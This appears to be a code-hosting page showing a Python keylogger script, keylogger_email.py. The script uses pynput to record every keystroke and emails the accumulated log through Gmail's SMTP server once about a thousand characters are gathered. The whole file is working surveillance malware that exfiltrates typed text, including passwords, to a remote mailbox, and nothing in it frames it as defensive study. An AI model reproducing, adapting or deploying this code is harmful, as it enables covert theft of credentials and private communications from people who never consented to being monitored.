-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger_email.py
51 lines (42 loc) · 1.12 KB
/
keylogger_email.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import getpass
import smtplib
from pynput.keyboard import Key, Listener
# email para envio
email = input('Enter your email: ')
password = input('Enter your password: ')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)
#logger
full_log = ''
word = ''
email_char_list = 1000
def on_press(key):
global word
global full_log
global email
global email_char_list
if key == Key.space or key == Key.enter:
word +=' '
full_log += word
word = ' '
if len(full_log)>= email_char_list:
send_log()
full_log= ''
elif key == Key.shift_1 or key ==Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char = f'{key}'
char = char [1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener( on_press=on_press) as listener:
listener.join()